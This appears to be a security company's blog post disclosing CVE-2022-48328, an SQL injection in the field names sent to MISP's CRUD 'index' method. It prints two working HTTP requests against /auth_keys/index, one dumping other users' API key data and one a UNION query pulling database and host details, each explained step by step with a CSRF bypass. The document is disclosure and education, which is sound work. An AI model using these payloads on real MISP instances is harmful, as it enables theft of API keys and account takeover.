!This is the fourth article in the “CakePHP Application Cybersecurity Research” series where I describe the serious impact of SQL injection vulnerability. Here you can find the other ones in the series:
- Be Careful with Reflections For Your Web Application Security
- Protect Your Website from Stored XSS Attacks: Understanding and Preventing Vulnerabilities in Open-source Applications
- Exploring the PHAR Deserialization PHP Vulnerability: A White Box Testing Example
- The Impact of a PHP Vulnerability: Exploring the Password Confirmation Bypass in MISP
- Bypassing security mechanisms in CakePHP vulnerability scanning
- Attack surface in CakePHP web application penetration testing
- White box penetration testing in action
In this article you will find:
- Briefly, The MISP
- What is SQL Injection?
- What is CRUD component?
- What is this specific vulnerability CVE-2022-48328?
- Why this PHP vulnerability is unique?
- Example Scenarios
- Preventing SQL Injection Vulnerabilities
Web applications have become an integral part of modern-day businesses, and with the increase in their usage, web security has become a significant concern. Among the various security threats, SQL injection is a severe vulnerability that can lead to the exposure of sensitive data and even the compromise of an entire system. In this article, we will try to explain the SQL injection vulnerability we found in the MISP application that is identified as CVE-2022-48328. MISP uses CakePHP framework and the vulnerability relies on the PHP code therefore, it is a php vulnerability.
Briefly, The MISP
MISP (Malware Information Sharing Platform) is an open-source threat intelligence platform designed to facilitate the sharing of cybersecurity threat information among organizations. It allows users to share and collaborate on threat intelligence data, including indicators of compromise, malware samples, and attack patterns. MISP also offers an API that enables developers to integrate the platform with other security tools.
Given the critical nature of the data stored in MISP, this PHP vulnerability poses a significant threat to the confidentiality, integrity, and availability of the data.
However, like any software application, MISP is vulnerable to security risks, one of which is SQL Injection. In this article, we will discuss what SQL Injection is, the role of CRUD components, the details of CVE-2022-48328, and how to prevent SQL Injection attacks.
What is SQL Injection?
SQL Injection is a type of web application security vulnerability that occurs when an attacker injects malicious SQL code into a web application’s SQL statement. This can be achieved by inserting specially crafted input into a web form or manipulating a query string. If the application does not properly validate and sanitize user input, the injected SQL code can be executed by the database, resulting in unauthorized access to sensitive data, manipulation of data, and even complete control of the application and underlying server.
What is CRUD component?
CRUD (Create, Read, Update, Delete) is a set of basic operations that are commonly used in database applications. These operations enable users to create new records, retrieve existing ones, update or modify existing records, and delete unwanted records. CRUD components are an integral part of most web applications that interact with databases.
What is this specific vulnerability CVE-2022-48328?
CVE-2022-48328 is a SQL injection vulnerability we discovered that affects several controllers, which use the “index” method from the CRUD component. These controllers include AuthKeys, WorkflowBlueprints, SharingGroupBlueprints, CorrelationExclusions, Roles, TaxiiServers, Cerebrates, Feeds, Noticelists, and Workflows. The line numbers in the corresponding controller files where the vulnerability occurs are also identified.
This vulnerability can be exploited by an attacker who has knowledge of SQL injection exploitation techniques. They can use the “index” method to insert malicious SQL code into the application, which can allow them to access or modify data in the database.
Why this PHP vulnerability is unique?
This SQL injection vulnerability is unique in that it occurs in the input field name, rather than the input value. This makes it a particularly rare and difficult PHP vulnerability to detect and prevent. While most developers are aware of the risk of SQL injection attacks in input values, the danger posed by input field names is often overlooked. Attackers can exploit this vulnerability by injecting malicious SQL code into the parameter name, allowing them to gain unauthorized access to sensitive data or even take control of the entire application. Detecting and preventing SQL injection in input field names requires careful attention to detail and a thorough understanding of web application data flow. Even with careful attention, SQL injection vulnerability in input field name will be probably missed whether manually sql injection test conducted or scanned with most of the tools.
This is why it’s good to conduct white box penetration testing or cybersecurity research.
If you would like to thoroughly verify the security of your web application take a look at our web application security testing service:
To illustrate the impact of this vulnerability, we have prepared two scenarios: stealing users’ API keys and extracting information about the database so you can see the real impact of such PHP vulnerability and use this as a guide for your sql injection test.
Stealing Users’ API Keys
In this scenario, we show how an authenticated attacker can exploit the vulnerability by injecting malicious SQL code into a POST request sent to the /auth_keys/index endpoint. The code executes within the application and returns the details of all API keys in the database, even those belonging to other users. Attackers with low-level access to the application can use this vulnerability to gain unauthorized access to sensitive data, including API keys of other users. This could result in a complete account compromise, allowing attackers to steal or manipulate data, change application settings, and even execute commands on the underlying system.
POST /auth_keys/index HTTP/1.1 Host: misp.local Cookie: MISP-af1eb4a0-9e68-4aa5-84ce- c98ddea860f3=e477ak9d8c3b7h6nlcpts7ualhe417ep Content-Type: application/x-www-form-urlencoded Content-Length: 32 Accept: application/json Connection: close uuid%3d"a"/**/OR/**/1%3d1))%23=1
Before continuing, let’s have a look at what is going on with this HTTP request. In this specific payload, the string “
uuid%3d” is being sent in the POST request body. Let’s break it down:
- First of all, this payload consists of 2 parts. First part is input field name which is “
uuid%3d” and second part is input field value, “
uuid%3d: This is the first part of the input field name that we are trying to exploit. In this case, it is “uuid”.
"a": This is the second part of our input field name. In this case, we closed the original SQL query with a double quote (“) and then appended the OR condition to the WHERE clause of the query.
/**/: This is a SQL comment that we used to comment out the space between “a” and “OR”. This is done to ensure that the input value is correctly interpreted as a string and concatenated with the OR condition.
OR: This keyword is used to specify an alternate condition for the WHERE clause. In this case, we specified the condition 1=1 to make sure that all API keys will be returned, not just the ones assigned to our current user.
1%3d1: This is a condition that will always evaluate to true. The %3d represents an encoded equals sign (=) character.
))%23=1: These are characters used to close our injected SQL query and prevent any additional SQL code from being executed. The double parentheses are used to close the original SQL query that the web application uses to retrieve data from the database, and the %23 character is used to URL-encode a hash sign (#) to comment out the rest of the SQL query. Finally “1” is the input field value of our payload.
To bypass the CSRF protection in normal POST requests, we added the “Accept” header with the value “application/json”. We can then extract the information we need, as shown in Figure 1.
Figure 1 – API keys of all users
The JSON response we received is a list containing a list of key preffixes and suffixes together with the key owner.
From the “AuthKey” object, we can see various pieces of information such as the authentication key’s ID, UUID, creation time, expiration time, read-only status, associated user ID, comment, allowed IPs, and last used timestamp. This information could be useful for an attacker looking to exploit a vulnerability in the authentication system.
From the “User” object, we can see the ID and email of the user associated with the authentication key. This information could be useful for an attacker with low privileged user access who is trying to escalate their privileges and gain access to the system as a privileged user. In this scenario, the user could inject malicious SQL code into a POST request to the /auth_keys/index endpoint to retrieve the details of all API keys, including those of the admin. Because the vulnerability can be exploited by low-privileged users, it poses a significant threat to the security of the entire application.
The acquisition of this JSON response was a result of a successful SQL injection attack that allowed us to bypass the access control and retrieve this sensitive information from the MISP application’s database.
This example shows the exfiltration of just some parts of the authentication keys of all users in MISP. Using this SQL injection it is possible to steal the entire authentication key as it resides in the database in the plaintext format.
Extracting Information About the Database
In this scenario, we will show how an attacker can extract information about the database. We can send a POST request to the /auth_keys/index endpoint with the malicious SQL code injected into the request. The code will be executed by the application, which will return information about the database.
POST /auth_keys/index HTTP/1.1 Host: misp.local Cookie: MISP-af1eb4a0-9e68-4aa5-84ce- c98ddea860f3=e477ak9d8c3b7h6nlcpts7ualhe417ep Content-Type: application/x-www-form-urlencoded Content-Length: 122 Accept: application/json Connection: close uuid%3d"a"))UNION/**/SELECT/**/111,user(),database(),@@hostname,@@datadir,666,777,888,999,000,111111,version(),131313%23
Just like the previous example, before continuing let’s have a look at what is going on with this HTTP request. In this specific payload, the string “
uuid%3d"a"))UNION/**/SELECT/**/111,user(),database(),@@hostname,@@datadir,666,777,888,999,000,111111,version(),131313%23” is being sent in the POST request body. Let’s break down this one too:
uuid%3d: This is the first part of input field name that the we are trying to exploit. In this case, it is “uuid”.
"a")): This is our input value for the “uuid” input field. We closed the original SQL query with a double quote (“) and then appended a second SQL query using the UNION keyword. The closing parentheses ( )) are used to properly close the first query before starting the second query.
UNION: This keyword is used to combine our SQL query with the original SQL query that the web application uses to retrieve data from the database.
/**/: This is a SQL comment that we used to comment out the space between “UNION”-“SELECT” and “SELECT”-“111”. This is done to ensure that the input value is correctly interpreted as a string and concatenated with the query.
SELECT: This keyword is used to specify the data that we want to retrieve from the database.
111,user(),database(),@@hostname,@@datadir,666,777,888,999,000,111111,version(),131313:These are the fields that we selected from the database. In this case, we selected 13 fields: the number 111, the current user name, the name of the current database, the hostname of the server, the data directory of the server, the numbers 666, 777, 888, 999, 000, the number 111111, the version of the database software, and the number 131313. The number fields are purposely used to satisfy the correct number of columns in the original select statement. The purpose of selecting these fields is to retrieve information about the server and its database that can be used in further attacks and demonstration purposes in this case.
- %23: This is a URL-encoded pound sign (#), which is used to terminate the SQL query and comment out any remaining text in the input field. We used this to prevent the last part of the original SQL query to influence our injected part.
When the vulnerable web application receives this payload, it constructs an SQL query that probably looks like this:
We can use this information to plan further attacks, such as trying to exploit other vulnerabilities in the application or database. We can extract the information from the database as shown in Figure 2.
Figure 2 – Database information exfiltrated
What we acquired
The response includes a single object containing two properties: “0” and “AuthKey”. The property “0” contains, the database system type, operating system MISP application currently running, and internal directory name because of the SQL query we injected.
Why it matters and what can be done with this information
This information is important because it allows us or any other attacker to gain access to sensitive information stored in the MISP web application’s database. With access to the authentication key, we or an attacker could gain unauthorized access to the application or even the underlying server.
The impact and seriousness of the vulnerability cannot be overstated. An attacker who gains access to the authentication key can potentially access the entire MISP application and underlying server, allowing unauthorized access to events, attributes, sharing groups, posts, and more. Furthermore, the attacker can also access the admin’s API key, granting them super admin access and full account compromise. This level of access can result in stealing sensitive information, modifying data, changing the configuration of the application, blocking access, and even taking down the entire system. The attacker can also use the information obtained from the JSON response to carry out additional attacks or reconnaissance, such as identifying and targeting other vulnerable web applications and servers in the organization’s network.
Here are some other examples scenarios of how an attacker could use this information:
- Exploiting known vulnerabilities: Suppose the JSON response reveals that the target system is running an outdated version of a component with a known vulnerability. The attacker could use this information to launch an attack against the application, potentially gaining unauthorized access to operating system itself.
- Targeting other web applications and servers: If the attacker can identify other web applications or servers within the organization’s network, they may attempt to exploit those systems as well.
- Conducting reconnaissance: By obtaining information about the target system, the attacker can gain a better understanding of its architecture, software, and potential vulnerabilities. This information can help them plan future attacks against the system or other systems within the organization’s network.
It is important to highlight that 99% of MISP functionalities are available to authenticated users only. Therefore, this vulnerability cannot be exploited by unauthenticated visitors.
Preventing SQL Injection Vulnerabilities
SQL injection vulnerabilities can have a significant impact on an organization’s security, as demonstrated in the examples above. To prevent these vulnerabilities, organizations should take the following measures:
- Input validation: Organizations should ensure that all user input is validated and sanitized to prevent any malicious code from being executed.
- Parameterized queries: Organizations should use parameterized queries to ensure that user input is properly sanitized and not executed as SQL code.
- Restricted access: Organizations should ensure that users only have access to the data that they need to perform their job functions. This can limit the impact of an SQL injection attack.
- Regular vulnerability testing: Organizations should regularly test their applications for vulnerabilities, including SQL injection vulnerabilities. This can help to identify and address any vulnerabilities before they can be exploited.
SQL injection vulnerabilities are a significant threat to an organization’s security. The vulnerability we discovered in controllers that use the “index” method from the CRUD component can be exploited to access or modify data in the database. We provided two examples of the impact that this vulnerability can have on an organization, including stealing users’ API keys and extracting information about the database.
To prevent SQL injection vulnerabilities, organizations should take measures such as input validation, parameterized queries, restricted access, and regular vulnerability testing.
!The next article is going to be about a php vulnerability, password confirmation and will emphasise the importance of secure web application development.
Let’s talk about conducting cybersecurity research of your web application.
Book a chat with a cybersecurity expert
Is this article helpful to you? Share it with your friends.